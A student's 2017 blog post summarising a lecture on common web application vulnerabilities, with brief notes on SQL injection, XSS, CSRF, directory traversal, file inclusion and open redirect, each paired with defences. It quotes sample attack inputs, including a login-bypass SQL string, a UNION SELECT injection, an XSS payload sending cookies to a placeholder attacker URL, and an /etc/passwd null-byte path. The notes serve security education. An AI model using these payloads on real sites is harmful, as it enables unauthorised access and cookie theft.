Tuesday, 10 October 2017
It has been a month since I last posted. It did not come to my mind until recently that I could still blog even though there were no lectures. I would still want to blog about what I learnt in my past assignments in separate blog posts. But for today, I want to share about web application vulnerabilities and how to safeguard against such exploits.
Today, we were lucky to have NUS GreyHats (I think one of them is called Yuxi...) to come down to our lecture and tell us more about vulnerabilities that are prevalent in crappy web applications. It was a slight pity that my "senior" Nikolas was not there >< he has been and will always be the Security God in my eyes.
The first vulnerability they pointed out, was, of course, SQL injection. Everyone loves data, after all. Prior to this lecture, my understanding of SQL injection was simply: People just escape your database query string because you sanitize nothing and you let them insert their database commands (either extracting truckloads of sensitive data or letting tables drop dead and so on). What I did not learn last time was the UNION SELECT SQL injection. And my guess is that there are more creative ways to do this.
# 01 Simple SQL injection
# Execute malicious SQL statements in app
# Because of poorly filtered strings
# In user login:
SELECT * FROM users WHERE user = ''
SELECT * FROM users WHERE user = '' OR 1=1 # '
# 02 Union SQL injection
# Blind SQL injection, automate pen-testing with sqlmap
# Need to do enumeration to find the correct number of columns, column names, and table names
# Prepared statements will get the system to check if the values are valid (type and weirdness)
# In a search bar:
SELECT title FROM movies WHERE title LIKE '%title%'
SELECT title FROM movies WHERE title LIKE '%title'%' UNION SELECT 1,2,3 # (number of columns)
I have been using ORMs, which have been dealing with these behind my back, and so my first experience with this is when I was trying to write a Telegram bot that communicates with the sqlite3 database with just the Python sqlite3 library.
Next, GreyHats delved into command injection, which is a rather interesting exploit. This is because I have helped my team in writing an application that does scp (I believe it means secure copy), and it never sat right with us. But isn't it strange to have an app offer such (intimate) functionality?
Well, in my case, neither the project lead nor I want to write a secure upload endpoint (or anything more halal than shell commands) due to the purpose and scale of the project. The only user is the club secretary who does not know such exploits, and have no interests in such events that can destroy his workflow.
After SQL and shell commands, we have cross-site scripting (XSS). The method involves embedding the attacker's endpoint in HTML elements and having the victim activate it with a click or similar interaction.
# 04 XSS
# Two types: Reflected and stored
# Reflected: Query strings are reflected on the URL (address bar) so users can just update the URL
# So give victims this URL: blahblah/<img src="attacker" + document.cookie>
# Stored: POST request
# Hide an iframe which sends document.cookie to attacker
# Don't let user anyhow type data
# Use HTTPOnly cookie flag: Cookie cannot be accessed via client side script
# Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.id
# Auto-escape template system
# XSS response header filter
The blahblah/... syntax is a bit wonky, but the gist is that the "attacker" URL will be evaluated due to being referenced as an img src. On the attacker's server, he will receive a request with the cookie appended to the path. This type of XSS is the reflected type and occurs when the method is GET.
Ways to safeguard against such cookie theft are listed above. One recurring advice was to not give users too much freedom / control over the app, so that they behave according to the original use cases.
But then again, I am starting to not like cookies... still wrapping my head around authentication methods.
After all the injections, which are sometimes not so straightforward, we get this:
# 05 Insecure Direct Object References (DOR)
# When web app provide direct access to object
# Edit HTTP request before sending it out (Tamper Data)
# Example: Order tickets, but the ticket_price is inside the HTTP request data... let's edit it.
# Validate user input, don't give users excess access
I am just so flabbergasted that this should even exist. Although I did not realise this, I have never done this (I might later though, if I skipped this class). The reason is because this is just bad design. Users only need to see the price and choose the correct item. They don't need extra privileges.
The following vulnerability is something I dealt with in CS2107.
# 06 Directory Traversal Attacks (dot dot slash attack)
# Do chroot jail: Copy everything non-sensitive into the jailed environment for users to roam
# Do normalised absolute paths and validate input
But CS2107 never really taught us how to prevent this (or even if they did...). As far as I know, my apps are usually (not always, because frameworks can have vulnerabilities too) safe because Nginx sets the app root as the root, and in the web server, the routes are like a "white list" of locations the users can roam about.
The jailed environment thing was something new to me. It is like a fake VM right (Is container a better word instead? I don't know if Docker does this...). But I forgot to ask if this should be used in conjunction with web servers and web frameworks, or just either is enough.
# 07 Local File Inclusion
# Let attacker execute remote files
# Change the file name in the URL or form to /etc/passwd
# If app searches for /etc/passwd.php by appending ".php", just end the URL with null byte
# Don't pass raw input to file system
This vulnerability sounds relevant to cloud storage systems, because that is where users manage a remote file system, but may "accidentally" get to peek into more files if the operator is careless. As mentioned before, the web server is likely to have blocked such absurd amount of access (e.g. /etc/passwd).
# 08 CSRF
# Tricks victim into submitting malicious input that harms the victim (self-inflicted lol)
# Don't use GET to change password because attacker can give the URL containing his favourite password
# And you click it and you update your own password to HIS password
# Must hide in iframe because will redirect
# Check headers to verify origin
# Check CSRF token (hidden field)
# But XSS can retrieve this hidden field
It is again emphasised that we should care for HTTP methods, not just because it makes sense (that's what I thought). I am starting to get confused between this and XSS, except the solutions are different. From the notes above, it seems being vulnerable to XSS means being vulnerable to CSRF too. But in my case, I have a static site that contains a contact form. The form is connected to a remote API endpoint. As there are no credentials involved, the allow origin header and a captcha are sufficient to prevent script kiddies from spamming/spoofing my endpoint.
Last but not least, we have open redirect. Once loaded, you dead.
# 09 Open Redirect
# Attacker controls redirect from proper to improper site
# Don't allow users to state redirect URLs
Because these demonstrations were in a rather artificial environment (e.g. opening HTML files in browsers), I still have not learnt an inch about the art of pen testing (centimetre yes). I would be typing ../ in the address bars and so on, but I would not be able to insert my redirect/embedded URLs into other people's apps. Or can I...?
P.S. Happy 21st, Shermaine!